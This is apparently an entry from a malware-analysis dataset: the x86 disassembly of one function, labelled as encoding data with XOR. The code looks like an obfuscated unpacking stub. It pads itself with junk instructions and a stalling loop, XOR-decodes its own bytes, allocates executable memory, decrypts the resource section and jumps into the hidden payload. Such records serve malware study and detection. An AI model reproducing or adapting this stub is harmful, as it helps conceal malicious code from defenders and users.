Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4081ba00
mov edx, 0x1b37bbc4
add edx, 0x1ed270f5
inc edx
popal
sub ecx, edx
add ecx, 0x1da0b155
sub edx, ecx
mov ebx, 0
mov ecx, edx
and edi, esi
dec edi
add esi, 0xc10703d9
mov eax, ecx
inc esi
dec esi
mov edx, eax
or esi, edi
mov edi, esi
inc ebx
add esi, 0x77943211
mov edi, 0xfa70ad49
cmp ebx, 0x1006381
jne 0xa789ce
sub edi, 0x6a9406ec
sub esi, edi
inc ecx
or ecx, ecx
mov edx, 0xa78796
or edi, ebx
sub ebx, 1
mov eax, 0xa7898a
add esi, 1
mov ebx, 0x5facbd75
mov ecx, dword [edx]
and edi, esi
sub edi, 0x4ad05af2
not ebx
and ecx, 0xff
add edi, 0xecaef0d0
mov esi, edi
and edi, esi
xor dword [eax], ecx
not ebx
sub ebx, 0xbc5385fa
inc edi
add eax, 1
add ebx, ebx
add edi, esi
inc edx
sub ebx, esi
inc edi
dec esi
cmp eax, entry0
jl 0xa78a23
sub esi, 1
sub edi, 0x7132bb72
mov ebx, 0x9037f58
mov esi, ebx
or esi, edi
mov ebx, 0x276916ba
add ecx, 0xfe7985ee
mov edi, 0xa7898e
add ecx, 0x72af1fac
add edx, edx
mov edi, dword [edi]
add esi, 0x468b8fe8
and edx, edx
mov edi, dword [edi]
inc ebx
mov esi, ebx
push edi
and esi, ecx
mov ebx, esi
or esi, ecx
mov edi, 0xa7898a
add ebx, edx
mov edx, ecx
mov edi, dword [edi]
mov ecx, 0x46b46ba9
mov esi, ebx
add ecx, ebx
mov edi, dword [edi]
add esi, 0x4e3a380d
sub edx, ebx
sub esi, 0x91f4fbc5
push 0xa78992
sub ecx, 0x44f0dc2f
or ebx, ebx
call edi
add esi, 0x5e98b6a
add ecx, ebx
not edx
pop edi
add ebx, ecx
and ebx, ecx
mov ebx, esi
push 0xa7899f
or edx, esi
mov esi, 0x9a6e3abe
mov ebx, 0x8926675a
sub esp, 4
mov dword [esp], eax
or ebx, ecx
or ebx, edx
or ebx, edx
call edi
mov edx, 0x156b9e59
sub edx, ecx
sub esp, 4
mov dword [esp], 0x40
inc ebx
add esi, 0x1eee0cc0
push 0x3000
add esi, ecx
inc ebx
push 0x200005c5
or ebx, edx
mov edx, esi
push 0
inc edx
inc esi
call eax
sub ebx, esi
not esi
add esi, ecx
add eax, 0x2000053c
and ecx, ebx
inc ecx
add ecx, edx
mov edi, 0x253e95d4
add ecx, 0x88724183
and ecx, edx
mov dword [eax], edi
add edx, 0x791bbffc
mov ebx, 0x1cc8d61d
mov edi, dword [eax]
or ebx, ecx
sub edx, ebx
add ecx, esi
cmp edi, 0x253e95d4
je 0xa78b7f
mov ecx, 0
mov byte [ecx], bl
dec edx
or edx, esi
mov ecx, esi
not esi
add edx, 1
and esi, esi
dec edx
inc ecx
mov esi, section..rsrc_1
sub ecx, edx
inc ecx
inc ecx
mov ebx, 0xa78795
sub ecx, 1
sub ecx, edx
mov edi, 0
or ecx, edx
add edx, 0xcc0e1647
mov eax, 0xa78796
inc edx
mov edx, 0x4af23b11
lea eax, [eax + edi]
mov edx, 0x93431d1b
sub ecx, edx
mov eax, dword [eax]
or ecx, ecx
mov ecx, 0x309a6f34
and eax, 0xff
mov edx, ecx
sub edx, 0xe34a9ce
or edx, ecx
inc edi
mov ecx, 0xe330276d
not ecx
mov ecx, edx
cmp edi, 0x1f4
jne 0xa78bf8
mov edi, 0
or edx, edx
add ecx, edx
or ecx, ecx
mov edx, ecx
mov edx, 0x55982c9b
add ecx, edx
xor dword [esi], eax
sub ecx, 0xce9570f7
mov edx, 0x315a7b9e
sub edx, 0xe88c46e5
add esi, 2
or edx, ecx
not ecx
sub edx, 1
cmp esi, ebx
jl 0xa78bb3
add ecx, edx
not edx
not edx
sub ecx, 0x4c7bb757
and ecx, ecx
and ecx, ecx
mov edi, section..rsrc_1
inc eax
add edx, 1
mov esi, section..rsrc_1
dec edx
and eax, eax
mov ebx, 0xa78795
not eax
or edx, eax
mov ecx, 0
add eax, 0xd4917d38
add eax, eax
add edx, eax
mov cl, byte [esi]
mov edx, eax
mov eax, 0x20eca3c6
mov byte [edi], cl
inc eax
sub edx, eax
mov edx, eax
inc edi
sub eax, 0x5fd3be0
sub edx, eax
inc eax
add esi, 2
and edx, edx
dec edx
add eax, eax
cmp esi, ebx
jle 0xa78c6e
add eax, edx
add edx, edx
not edx
and ecx, ecx
push 0x8dc6a0
sub edx, 1
and edx, edx
ret